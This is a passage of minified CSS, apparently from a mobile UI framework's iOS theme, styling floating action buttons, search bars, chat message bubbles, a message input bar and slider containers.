.color-theme-orange.fab-buttons a,.ios .color-theme-orange.fab>a{background:#ff9500}.ios .color-theme-orange .fab-buttons a.active-state,.ios .color-theme-orange .fab>a.active-state,.ios .color-theme-orange.fab-buttons a.active-state,.ios .color-theme-orange.fab>a.active-state{background:#d67d00}.ios .color-theme-orange .fab-morph,.ios .color-theme-orange.fab-morph{background:#ff9500}.ios .color-theme-gray .fab-buttons a,.ios .color-theme-gray .fab>a,.ios .color-theme-gray.fab-buttons a,.ios .color-theme-gray.fab>a{background:#8e8e93}.ios .color-theme-gray .fab-buttons a.active-state,.ios .color-theme-gray .fab>a.active-state,.ios .color-theme-gray.fab-buttons a.active-state,.ios .color-theme-gray.fab>a.active-state{background:#79797f}.ios .color-theme-gray .fab-morph,.ios .color-theme-gray.fab-morph{background:#8e8e93}.ios .color-theme-white .fab-buttons a,.ios .color-theme-white .fab>a,.ios .color-theme-white.fab-buttons a,.ios .color-theme-white.fab>a{background:#fff}.ios .color-theme-white .fab-buttons a.active-state,.ios .color-theme-white .fab>a.active-state,.ios .color-theme-white.fab-buttons a.active-state,.ios .color-theme-white.fab>a.active-state{background:#ebebeb}.ios .color-theme-white .fab-morph,.ios .color-theme-white.fab-morph{background:#fff}.ios .color-theme-black .fab-buttons a,.ios .color-theme-black .fab>a,.ios .color-theme-black.fab-buttons a,.ios .color-theme-black.fab>a{background:#000}.ios .color-theme-black .fab-buttons a.active-state,.ios .color-theme-black .fab>a.active-state,.ios .color-theme-black.fab-buttons a.active-state,.ios .color-theme-black.fab>a.active-state{background:#000}.ios .color-theme-black .fab-morph,.ios .color-theme-black.fab-morph{background:#000}.ios .fab .fab-buttons>a.color-red,.ios .fab-buttons.color-red a,.ios .fab.color-red .fab-buttons>a,.ios .fab.color-red>a,.ios .fab>a.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-red.active-state,.ios .fab-buttons.color-red a.active-state,.ios .fab.color-red .fab-buttons>a.active-state,.ios .fab.color-red>a.active-state,.ios .fab>a.color-red.active-state{background:#ff1407}.ios .fab-morph.color-red{background:#ff3b30}.ios .fab .fab-buttons>a.color-green,.ios .fab-buttons.color-green a,.ios .fab.color-green .fab-buttons>a,.ios .fab.color-green>a,.ios .fab>a.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-green.active-state,.ios .fab-buttons.color-green a.active-state,.ios .fab.color-green .fab-buttons>a.active-state,.ios .fab.color-green>a.active-state,.ios .fab>a.color-green.active-state{background:#2cd048}.ios .fab-morph.color-green{background:#4cd964}.ios .fab .fab-buttons>a.color-blue,.ios .fab-buttons.color-blue a,.ios .fab.color-blue .fab-buttons>a,.ios .fab.color-blue>a,.ios .fab>a.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-blue.active-state,.ios .fab-buttons.color-blue a.active-state,.ios .fab.color-blue .fab-buttons>a.active-state,.ios .fab.color-blue>a.active-state,.ios .fab>a.color-blue.active-state{background:#0066d6}.ios .fab-morph.color-blue{background:#007aff}.ios .fab .fab-buttons>a.color-pink,.ios .fab-buttons.color-pink a,.ios .fab.color-pink .fab-buttons>a,.ios .fab.color-pink>a,.ios .fab>a.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-pink.active-state,.ios .fab-buttons.color-pink a.active-state,.ios .fab.color-pink .fab-buttons>a.active-state,.ios .fab.color-pink>a.active-state,.ios .fab>a.color-pink.active-state{background:#ff0434}.ios .fab-morph.color-pink{background:#ff2d55}.ios .fab .fab-buttons>a.color-yellow,.ios .fab-buttons.color-yellow a,.ios .fab.color-yellow .fab-buttons>a,.ios .fab.color-yellow>a,.ios .fab>a.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-yellow.active-state,.ios .fab-buttons.color-yellow a.active-state,.ios .fab.color-yellow .fab-buttons>a.active-state,.ios .fab.color-yellow>a.active-state,.ios .fab>a.color-yellow.active-state{background:#d6ab00}.ios .fab-morph.color-yellow{background:#fc0}.ios .fab .fab-buttons>a.color-orange,.ios .fab-buttons.color-orange a,.ios .fab.color-orange .fab-buttons>a,.ios .fab.color-orange>a,.ios .fab>a.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-orange.active-state,.ios .fab-buttons.color-orange a.active-state,.ios .fab.color-orange .fab-buttons>a.active-state,.ios .fab.color-orange>a.active-state,.ios .fab>a.color-orange.active-state{background:#d67d00}.ios .fab-morph.color-orange{background:#ff9500}.ios .fab .fab-buttons>a.color-gray,.ios .fab-buttons.color-gray a,.ios .fab.color-gray .fab-buttons>a,.ios .fab.color-gray>a,.ios .fab>a.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-gray.active-state,.ios .fab-buttons.color-gray a.active-state,.ios .fab.color-gray .fab-buttons>a.active-state,.ios .fab.color-gray>a.active-state,.ios .fab>a.color-gray.active-state{background:#79797f}.ios .fab-morph.color-gray{background:#8e8e93}.ios .fab .fab-buttons>a.color-white,.ios .fab-buttons.color-white a,.ios .fab.color-white .fab-buttons>a,.ios .fab.color-white>a,.ios .fab>a.color-white{background:#fff}.ios .fab .fab-buttons>a.color-white.active-state,.ios .fab-buttons.color-white a.active-state,.ios .fab.color-white .fab-buttons>a.active-state,.ios .fab.color-white>a.active-state,.ios .fab>a.color-white.active-state{background:#ebebeb}.ios .fab-morph.color-white{background:#fff}.ios .fab .fab-buttons>a.color-black,.ios .fab-buttons.color-black a,.ios .fab.color-black .fab-buttons>a,.ios .fab.color-black>a,.ios .fab>a.color-black{background:#000}.ios .fab .fab-buttons>a.color-black.active-state,.ios .fab-buttons.color-black a.active-state,.ios .fab.color-black .fab-buttons>a.active-state,.ios .fab.color-black>a.active-state,.ios .fab>a.color-black.active-state{background:#000}.ios .fab-morph.color-black{background:#000}.ios.device-iphone-x .fab[class*="-bottom"]{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .fab[class*=fab-left],.ios.device-iphone-x .ios-left-edge .fab[class*=fab-left],.ios.device-iphone-x .panel-left .fab[class*=fab-left],.ios.device-iphone-x .popup .fab[class*=fab-left],.ios.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(15px + constant(safe-area-inset-left));left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .fab[class*=fab-right],.ios.device-iphone-x .ios-right-edge .fab[class*=fab-right],.ios.device-iphone-x .panel-right .fab[class*=fab-right],.ios.device-iphone-x .popup .fab[class*=fab-right],.ios.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(15px + constant(safe-area-inset-right));right:calc(15px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.ios .searchbar{height:44px;background:#f7f7f8}.ios .searchbar.no-hairline:after{display:none!important}.ios .searchbar input[type=search],.ios .searchbar input[type=text]{padding:0 28px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:10px;border-radius:8px;font-family:inherit;color:#000;font-size:17px;font-weight:400;z-index:30;background-color:#e8e8ea;position:relative}.ios .searchbar input[type=search]::-webkit-input-placeholder,.ios .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]:-ms-input-placeholder,.ios .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::-ms-input-placeholder,.ios .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::placeholder,.ios .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.ios .searchbar .input-clear-button{z-index:40;right:7px}.ios .searchbar-inner{padding:0 8px}.ios .searchbar-icon{width:13px;height:13px;position:absolute;top:50%;margin-top:-6px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E");background-size:13px 13px;z-index:40;left:8px}.ios .searchbar-backdrop{background:rgba(0,0,0,.4)}.ios .searchbar-input-wrap{height:32px}.ios .searchbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .searchbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .searchbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .searchbar-disable-button{font-size:17px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;color:#007aff;display:none}.ios .searchbar-disable-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.3!important}.ios .searchbar-enabled .searchbar-disable-button{pointer-events:auto;opacity:1;margin-left:8px}.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button{-webkit-transition-duration:.3s!important;transition-duration:.3s!important}.ios .searchbar-expandable{left:0;bottom:0;opacity:1;width:100%;height:0%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.ios .searchbar-expandable .searchbar-disable-button{margin-left:8px;opacity:1;display:block}.ios .searchbar-expandable .searchbar-inner{height:44px}.ios .searchbar-expandable.searchbar-enabled{opacity:1;height:100%;pointer-events:auto}.ios .page>.searchbar{z-index:200}.ios .navbar~.page:not(.no-navbar)>.searchbar,.ios .page>.navbar~.searchbar{top:44px}.ios .navbar~.page:not(.no-navbar)>.searchbar~* .page-content,.ios .navbar~.page:not(.no-navbar)>.searchbar~.page-content,.ios .page>.navbar~.searchbar~* .page-content,.ios .page>.navbar~.searchbar~.page-content{padding-top:88px}.ios .theme-dark .searchbar,.searchbar.ios .theme-dark{background-color:#303030}.ios .theme-dark .searchbar:after,.searchbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .searchbar input[type=search],.ios .theme-dark .searchbar input[type=text],.searchbar.ios .theme-dark input[type=search],.searchbar.ios .theme-dark input[type=text]{background-color:#171717;color:#fff}.ios .color-theme-red .searchbar-disable-button{color:#ff3b30}.ios .color-theme-green .searchbar-disable-button{color:#4cd964}.ios .color-theme-blue .searchbar-disable-button{color:#007aff}.ios .color-theme-pink .searchbar-disable-button{color:#ff2d55}.ios .color-theme-yellow .searchbar-disable-button{color:#fc0}.ios .color-theme-orange .searchbar-disable-button{color:#ff9500}.ios .color-theme-gray .searchbar-disable-button{color:#8e8e93}.ios .color-theme-white .searchbar-disable-button{color:#fff}.ios .color-theme-black .searchbar-disable-button{color:#000}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-left-edge .searchbar-inner,.ios.device-iphone-x .panel-left .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-right-edge .searchbar-inner,.ios.device-iphone-x .panel-right .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.message-received .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message-sent .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.ios .messages,.ios .messages-content{background:#fff}.ios .messages-title{font-size:11px;color:#8e8e93;margin-top:10px}.ios .messages-title:last-child{margin-bottom:10px}.ios .messages-title b{font-weight:600}.ios .message{margin-top:10px}.ios .message:last-child{margin-bottom:10px}.ios .message-avatar{width:29px;height:29px}.ios .message-footer,.ios .message-header,.ios .message-name{color:#8e8e93}.ios .message-footer b,.ios .message-header b,.ios .message-name b{font-weight:600}.ios .message-header,.ios .message-name{margin-bottom:3px}.ios .message-footer{margin-top:3px}.ios .message-bubble{font-size:17px;line-height:1.2;border-radius:16px;padding:6px 16px 9px;min-width:48px;min-height:35px}.ios .message-image{margin:6px -16px}.ios .message-image:first-child{margin-top:-6px}.ios .message-image:first-child img{border-top-left-radius:16px;border-top-right-radius:16px}.ios .message-image:last-child{margin-bottom:-9px}.ios .message-image:last-child img{border-bottom-left-radius:16px;border-bottom-right-radius:16px}.ios .message-text-header{margin-bottom:3px}.ios .message-text-footer{margin-top:3px}.ios .message-received{margin-left:10px}.ios .message-received .message-footer,.ios .message-received .message-header,.ios .message-received .message-name{margin-left:16px}.ios .message-received .message-text-footer,.ios .message-received .message-text-header{opacity:.5}.ios .message-received .message-bubble{color:#000;background:#e5e5ea;padding-left:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received .message-image{margin-left:-22px}.ios .message-received.message-tail:not(.message-typing) .message-bubble{border-radius:16px 16px 16px 0;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img{border-bottom-left-radius:0}.ios .message-sent{margin-right:10px}.ios .message-sent .message-footer,.ios .message-sent .message-header,.ios .message-sent .message-name{margin-right:16px}.ios .message-sent .message-text-footer,.ios .message-sent .message-text-header{opacity:.8}.ios .message-sent .message-bubble{background:#00d449;color:#fff;padding-right:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent .message-image{margin-right:-22px}.ios .message-sent.message-tail .message-bubble{border-radius:16px 16px 0 16px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent.message-tail .message-bubble .message-image:last-child img{border-bottom-right-radius:0}.ios .message+.message:not(.message-first){margin-top:1px}.ios .message-received.message-typing .message-content:after,.ios .message-received.message-typing .message-content:before{content:'';position:absolute;background:#e5e5ea;border-radius:50%}.ios .message-received.message-typing .message-content:after{width:11px;height:11px;left:4px;bottom:0}.ios .message-received.message-typing .message-content:before{width:6px;height:6px;left:-1px;bottom:-4px}.ios .message-typing-indicator>div{width:9px;height:9px;opacity:.35}.ios .message-typing-indicator>div+div{margin-left:4px}.ios .message-typing-indicator>div:nth-child(1){-webkit-animation:ios-message-typing-indicator .9s infinite;animation:ios-message-typing-indicator .9s infinite}.ios .message-typing-indicator>div:nth-child(2){-webkit-animation:ios-message-typing-indicator .9s 150ms infinite;animation:ios-message-typing-indicator .9s 150ms infinite}.ios .message-typing-indicator>div:nth-child(3){-webkit-animation:ios-message-typing-indicator .9s .3s infinite;animation:ios-message-typing-indicator .9s .3s infinite}.ios .theme-dark .messages,.ios .theme-dark .messages-content,.messages-content.ios .theme-dark,.messages.ios .theme-dark{background-color:transparent}.ios .theme-dark .message-received.message-typing .message-content:after,.ios .theme-dark .message-received.message-typing .message-content:before{background:#333}.ios .theme-dark .message-typing-indicator>div{background-color:#fff}.ios .theme-dark .message-received .message-bubble{background-color:#333;color:#fff}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .message-received,.ios.device-iphone-x .ios-left-edge .message-received,.ios.device-iphone-x .panel-left .message-received,.ios.device-iphone-x .popup .message-received,.ios.device-iphone-x .sheet-modal .message-received{margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .message-sent,.ios.device-iphone-x .ios-right-edge .message-sent,.ios.device-iphone-x .panel-right .message-sent,.ios.device-iphone-x .popup .message-sent,.ios.device-iphone-x .sheet-modal .message-sent{margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}@-webkit-keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}@keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-left:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-left:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .messagebar{background:#fff;min-height:44px}.ios .messagebar:before{display:none!important}.ios .messagebar textarea{background:#fff;border-radius:17px;padding:6px 15px;height:34px;line-height:20px;font-size:17px;border:1px solid #c8c8cd}.ios .messagebar a.link.icon-only:first-child{margin-left:-8px}.ios .messagebar a.link.icon-only:last-child{margin-right:-8px}.ios .messagebar a.link:not(.icon-only)+.messagebar-area{margin-left:8px}.ios .messagebar .messagebar-area+a.link:not(.icon-only){margin-left:8px}.ios .messagebar-area{margin-top:5px;margin-bottom:5px}.ios .messagebar-attachments{padding:5px;border-radius:17px 17px 0 0;border:1px solid #c8c8cd;border-bottom:none}.ios .messagebar-attachments-visible .messagebar-attachments+textarea{border-radius:0 0 17px 17px}.ios .messagebar-attachment{border-radius:12px;font-size:14px}.ios .messagebar-attachment img{border-radius:12px}.ios .messagebar-sheet{background:#d1d5da}.ios .messagebar-attachment-delete{right:5px;top:5px;width:20px;height:20px;background:#7d7e80;border:2px solid #fff;cursor:pointer}.ios .messagebar-attachment-delete:after,.ios .messagebar-attachment-delete:before{width:10px;height:2px;background:#fff;margin-left:-5px;margin-top:-1px}.ios .theme-dark .messagebar textarea,.messagebar.ios .theme-dark textarea{background-color:#000;border-color:#282829;color:#fff}.ios .theme-dark .messagebar-attachments{border-color:#282829;background-color:#000}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to 